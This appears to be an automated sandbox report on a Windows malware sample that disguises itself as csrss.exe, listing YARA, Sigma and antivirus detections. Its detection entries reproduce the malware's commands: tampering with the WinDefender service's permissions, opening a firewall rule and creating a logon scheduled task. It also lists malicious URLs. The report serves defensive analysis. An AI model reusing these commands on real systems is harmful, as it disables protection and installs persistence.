31.2.csrss.exe.5caa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.3.rlavBKPBEc.exe.5930000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.5700e50.10.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
31.3.csrss.exe.655bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.9a56e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.5caa8d0.10.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.6559a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.2.rlavBKPBEc.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.3.rlavBKPBEc.exe.5f940e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.2.rlavBKPBEc.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
37.3.csrss.exe.65540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.3.csrss.exe.6559a80.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.5700e50.10.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
37.2.csrss.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.3.rlavBKPBEc.exe.5f9bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.3.rlavBKPBEc.exe.5edbce0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
19.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
47.2.csrss.exe.9ab080.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.2.rlavBKPBEc.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
1.2.rlavBKPBEc.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
26.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.3.csrss.exe.655bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
32.2.csrss.exe.400000.1.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
26.2.csrss.exe.9a56e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
1.2.rlavBKPBEc.exe.5080e50.10.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.5700e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.9a56e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
18.2.csrss.exe.5700e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
26.2.csrss.exe.5700e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
47.3.csrss.exe.6559a80.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.400000.0.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
1.2.rlavBKPBEc.exe.5080e50.10.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
26.3.csrss.exe.65540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.3.csrss.exe.655bce0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.2.csrss.exe.9ad2e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
26.2.csrss.exe.5700e50.9.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
1.2.rlavBKPBEc.exe.9a56e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.3.csrss.exe.65540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.3.csrss.exe.655bce0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.9ad2e0.0.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
47.2.csrss.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
47.3.csrss.exe.65540e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
32.3.csrss.exe.65540e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
31.2.csrss.exe.400000.2.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.2.rlavBKPBEc.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
26.2.csrss.exe.9ad2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
6.2.rlavBKPBEc.exe.5140e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
47.2.csrss.exe.5700e50.10.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
31.3.csrss.exe.6559a80.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
37.2.csrss.exe.400000.2.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
32.2.csrss.exe.5700e50.10.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
37.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
19.2.csrss.exe.5700e50.10.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
37.2.csrss.exe.5700e50.9.raw.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
47.2.csrss.exe.5700e50.10.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
18.2.csrss.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
6.3.rlavBKPBEc.exe.59f0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
32.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
31.2.csrss.exe.5700e50.11.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
31.3.csrss.exe.5fb0000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 112 entries

Sigma Overview

System Summary:

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: C:\Windows\rss\csrss.exe /301-301, CommandLine: C:\Windows\rss\csrss.exe /301-301, CommandLine|base64offset|contains: }5}5, Image: C:\Windows\rss\csrss.exe, NewProcessName: C:\Windows\rss\csrss.exe, OriginalFileName: C:\Windows\rss\csrss.exe, ParentCommandLine: C:\Users\user\Desktop\rlavBKPBEc.exe, ParentImage: C:\Users\user\Desktop\rlavBKPBEc.exe, ParentProcessId: 5060, ProcessCommandLine: C:\Windows\rss\csrss.exe /301-301, ProcessId: 6520

Sigma detected: Suspicious Service DACL Modification

Show sources

Source: Process started

Author: Jonhnathan Ribeiro, oscd.community: Data: Command: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), CommandLine: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6824, ProcessCommandLine: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), ProcessId: 6284

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, CommandLine: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6156, ProcessCommandLine: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes, ProcessId: 6344

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\rss\csrss.exe /301-301, CommandLine: C:\Windows\rss\csrss.exe /301-301, CommandLine|base64offset|contains: }5}5, Image: C:\Windows\rss\csrss.exe, NewProcessName: C:\Windows\rss\csrss.exe, OriginalFileName: C:\Windows\rss\csrss.exe, ParentCommandLine: C:\Users\user\Desktop\rlavBKPBEc.exe, ParentImage: C:\Users\user\Desktop\rlavBKPBEc.exe, ParentProcessId: 5060, ProcessCommandLine: C:\Windows\rss\csrss.exe /301-301, ProcessId: 6520

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\rss\csrss.exe /301-301, ParentImage: C:\Windows\rss\csrss.exe, ParentProcessId: 6520, ProcessCommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, ProcessId: 6788

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: https://runmodes.com/api/log	Avira URL Cloud: Label: malware
Source: https://runmodes.com/api/log0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	Avira URL Cloud: Label: malware
Source: http://newscommer.com/app/app.exe	URL Reputation: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Windows\windefender.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.eocey
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Avira: detection malicious, Label: TR/Agent.twerk
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Avira: detection malicious, Label: TR/Redcap.gsjan

Multi AV Scanner detection for submitted file

Show sources

Source: rlavBKPBEc.exe

Virustotal: Detection: 27%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Metadefender: Detection: 13%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	ReversingLabs: Detection: 73%
Source: C:\Windows\windefender.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\windefender.exe	ReversingLabs: Detection: 78%

Machine Learning detection for sample

Show sources

Source: rlavBKPBEc.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\rss\csrss.exe

Joe Sandbox ML: detected

Source: 18.2.csrss.exe.16bb0000.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 18.2.csrss.exe.16c30000.18.unpack	Avira: Label: TR/Patched.Ren.Gen

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 1.2.rlavBKPBEc.exe.400000.2.unpack
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	Unpacked PE file: 6.2.rlavBKPBEc.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 18.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 19.2.csrss.exe.400000.1.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 26.2.csrss.exe.400000.0.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 31.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 32.2.csrss.exe.400000.1.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 37.2.csrss.exe.400000.2.unpack
Source: C:\Windows\rss\csrss.exe	Unpacked PE file: 47.2.csrss.exe.400000.2.unpack

Source: rlavBKPBEc.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\rlavBKPBEc.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: Loader.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: csrss.exe
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: csrss.exe
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
